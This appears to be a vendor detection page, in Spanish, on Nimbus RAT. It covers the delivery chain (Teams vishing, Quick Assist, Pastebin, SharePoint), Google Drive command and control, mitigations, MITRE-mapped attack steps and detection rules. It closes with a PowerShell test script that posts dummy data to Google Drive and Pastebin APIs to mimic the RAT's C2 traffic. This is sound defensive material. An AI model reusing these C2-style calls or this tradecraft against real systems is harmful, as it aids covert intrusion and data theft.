Nimbus RAT Entregado a Través de Microsoft Teams y Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Los actores de amenazas utilizaron el phishing de voz de Microsoft Teams junto con Quick Assist para desplegar un troyano de acceso remoto basado en Java conocido como Nimbus RAT. El malware se basa en Google Drive y Google Sheets como sus canales de comando y control e incluye su propio entorno de ejecución OpenJDK integrado. Para el robo de credenciales, utiliza un falso aviso de seguridad de Windows o la API CredUI nativa para capturar secretos del usuario.
Investigación
El equipo de Respuesta a Amenazas de eSentire reconstruyó la cadena completa de intrusión utilizando registros de flujo de correo, telemetría de endpoints y análisis estático del malware Java. La campaña combinó bombardeo de correo electrónico, una llamada de suplantación de voz basada en Teams, soporte remoto de Quick Assist, una hoja de instrucciones alojada en Pastebin y un inquilino de SharePoint comprometido utilizado para distribuir la carga útil.
Mitigación
Las defensas recomendadas incluyen desactivar la mensajería externa de Teams de inquilinos desconocidos, bloquear Quick Assist donde no sea necesario, alertar sobre picos en la actividad de bombardeo de correo electrónico, monitorear javaw.exe ejecución desde ubicaciones inusuales y detectar llamadas sospechosas a la API de Google Drive iniciadas por procesos inesperados.
Respuesta
Si se detecta actividad de Nimbus RAT, aislar el sistema afectado, terminar todos los javaw.exe procesos relacionados, eliminar el C:ProgramDataInboxCorePro directorio y cualquier acceso directo asociado de inicio y considerar una reimagen completa del sistema. Revisar también los registros de auditoría de Google Workspace para identificar cualquier concesión no autorizada de aplicaciones de Google Drive.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% Nodes – Actions action_phishing[«<b>Acción</b> – <b>T1566.003 Phishing: Spearphishing mediante Servicio</b><br/>El bombardeo de correos electrónicos entrega mensajes de confirmación de suscripción que preparan una posterior llamada de vishing mediante Microsoft Teams»] class action_phishing action action_trusted_rel[«<b>Acción</b> – <b>T1199 Relación de Confianza</b><br/>El atacante crea un tenant temporal de Microsoft 365 o compromete un tenant legítimo para enviar mensajes externos maliciosos de Teams que aparentan ser confiables»] class action_trusted_rel action action_user_exec_file[«<b>Acción</b> – <b>T1204.002 Ejecución por el Usuario: Archivo Malicioso</b><br/>Se indica a la víctima mediante Pastebin que descargue un ZIP desde un sitio SharePoint comprometido y ejecute el archivo JAR usando javaw.exe»] class action_user_exec_file action action_user_exec_copy[«<b>Acción</b> – <b>T1204.004 Ejecución por el Usuario: Copiar y Pegar Malicioso</b><br/>El atacante copia la URL de Pastebin en el chat de Teams, engañando al usuario para que visite el sitio»] class action_user_exec_copy action action_persistence[«<b>Acción</b> – <b>T1547.001 Ejecución Automática al Arranque o Inicio de Sesión</b><br/>La persistencia se logra importando un archivo .reg y colocando un acceso directo en la carpeta Inicio que lanza el RAT en Java»] class action_persistence action action_credential_harvest[«<b>Acción</b> – <b>T1056.002 Captura de Entrada: Captura de Entrada GUI</b><br/>Nimbus RAT muestra un cuadro de diálogo falso de credenciales Java Swing y el aviso nativo CredUI de Windows para capturar credenciales»] class action_credential_harvest action action_c2[«<b>Acción</b> – <b>T1102.002 Servicio Web: Comunicación Bidireccional</b><br/>El mando y control se realiza mediante Google Drive usando autenticación de cuenta de servicio u OAuth2 con archivos de sondeo cifrados»] class action_c2 action action_exfil[«<b>Acción</b> – <b>T1567.002 Exfiltración a través de Servicio Web</b><br/>Los datos recopilados, como capturas de pantalla y archivos, se cargan en la misma carpeta de Google Drive utilizada para C2»] class action_exfil action action_network_disc[«<b>Acción</b> – <b>T1016 Descubrimiento de la Configuración de Red del Sistema</b><br/>El RAT ejecuta comandos como ipconfig /all para recopilar detalles de las interfaces de red»] class action_network_disc action %% Nodes – Tools / Malware / Files / Processes tool_email_bomb[«<b>Herramienta</b> – Nombre: Script de bombardeo de correos electrónicos»] class tool_email_bomb tool tool_teams[«<b>Herramienta</b> – Nombre: Microsoft Teams (vishing)»] class tool_teams tool tool_sharepoint[«<b>Herramienta</b> – Nombre: Sitio SharePoint comprometido»] class tool_sharepoint tool malware_nimbus[«<b>Malware</b> – Nombre: Nimbus RAT (Java)»] class malware_nimbus malware file_jar[«<b>Archivo</b> – Nombre: InboxCorePro.jar (carga útil Java)»] class file_jar data process_javaw[«<b>Proceso</b> – Nombre: javaw.exe (ejecuta el JAR)»] class process_javaw process file_reg[«<b>Archivo</b> – Nombre: Importación de registro .reg»] class file_reg data file_startup[«<b>Archivo</b> – Nombre: Acceso directo en la carpeta Inicio»] class file_startup data service_gdrive[«<b>Servicio</b> – Nombre: Google Drive (C2 y exfiltración)»] class service_gdrive data process_ipconfig[«<b>Proceso</b> – Comando: ipconfig /all»] class process_ipconfig process %% Connections – Attack Flow action_phishing –>|usa| tool_email_bomb action_phishing –>|conduce_a| action_trusted_rel action_trusted_rel –>|usa| tool_teams action_trusted_rel –>|entrega| action_user_exec_copy action_user_exec_copy –>|proporciona_enlace_a| action_user_exec_file action_user_exec_file –>|descarga_desde| tool_sharepoint action_user_exec_file –>|ejecuta| file_jar file_jar –>|ejecutado_por| process_javaw process_javaw –>|inicia| malware_nimbus malware_nimbus –>|crea| action_persistence action_persistence –>|importa| file_reg action_persistence –>|coloca| file_startup malware_nimbus –>|captura| action_credential_harvest malware_nimbus –>|se_comunica_con| service_gdrive service_gdrive –>|soporta| action_c2 service_gdrive –>|soporta| action_exfil malware_nimbus –>|realiza| action_network_disc action_network_disc –>|ejecuta| process_ipconfig
Flujo de Ataque
Detecciones
Ejecución de Apps Java desde Ubicación Sospechosa (vía creación_proceso)
Ver
Binario / Scripts Sospechosos en Ubicación de Inicio Automático (vía evento_archivo)
Ver
Posible Dominio de GoogleApis Resuelto por Proceso Conocido Abusado (vía consulta_dns)
Ver
Posible Actividad de Utilidad de Comando y Control de Google (vía proxy)
Ver
IOCs (HashSha256) para detectar: Nimbus RAT: Cómo los Actores de Amenazas Están Abusando de Microsoft Teams y Google Drive para Desplegar un RAT de Java
Ver
Detección del Uso Sospechoso de APIs de Google y Pastebin [Proxy]
Ver
Detección de Ejecución de Nimbus RAT vía javaw.exe y Comandos de Reconocimiento [Creación de Proceso de Windows]
Ver
Ejecución de Quick Assist y regedit.exe en Ataque de Vishing [Registro de Eventos de Seguridad de Microsoft Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haberse aprobado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
El actor de la amenaza ya ha comprometido el endpoint con el binario de Nimbus RAT. Para establecer un canal C2 encubierto, el RAT emite dos solicitudes HTTP POST hacia afuera:- Llamada API de Google Drive – carga un pequeño payload JSON a
https://www.googleapis.com/drive/v3/files?uploadType=media, imitando el comportamiento de “descarga-payload” del RAT. - Pegar en Pastebin – publica una cadena de comando codificada en base-64 a
https://pastebin.com/api/api_post.phputilizando la clave de API pública.
Ambas solicitudes se ejecutan a través de
Invoke-WebRequestde PowerShell para asegurar que los registros del firewall contengan eldominiocampo (googleapis.comandpastebin.com). El atacante ejecuta los comandos bajo el contexto del usuario comprometido para mezclarse con la actividad normal. - Llamada API de Google Drive – carga un pequeño payload JSON a
-
Script de Prueba de Regresión:
# -------------------------------------------------------------- # Simulación C2 de Nimbus RAT – activa la regla Sigma en coincidencia de dominio # -------------------------------------------------------------- # 1. Carga simulada de API de Google Drive (sin autenticación – se centra en la telemetría de dominio) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Enviado carga simulada a API de Google Drive" } catch { Write-Warning "Solicitud a Google Drive fallida (esperado en sandbox): $_" } # 2. Publicación de API pública de Pastebin (requiere una clave de desarrollador – usando un marcador de posición) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- reemplazar con una clave válida para una prueba real $pastebinText = "echo 'Comando simulado desde C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Publicado comando simulado a Pastebin" } catch { Write-Warning "Solicitud a Pastebin fallida (esperado en sandbox): $_" } # -------------------------------------------------------------- # Fin de la simulación # -------------------------------------------------------------- -
Comandos de Limpieza:
# Eliminar cualquier archivo o variable temporal utilizada durante la simulación Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Limpieza completa."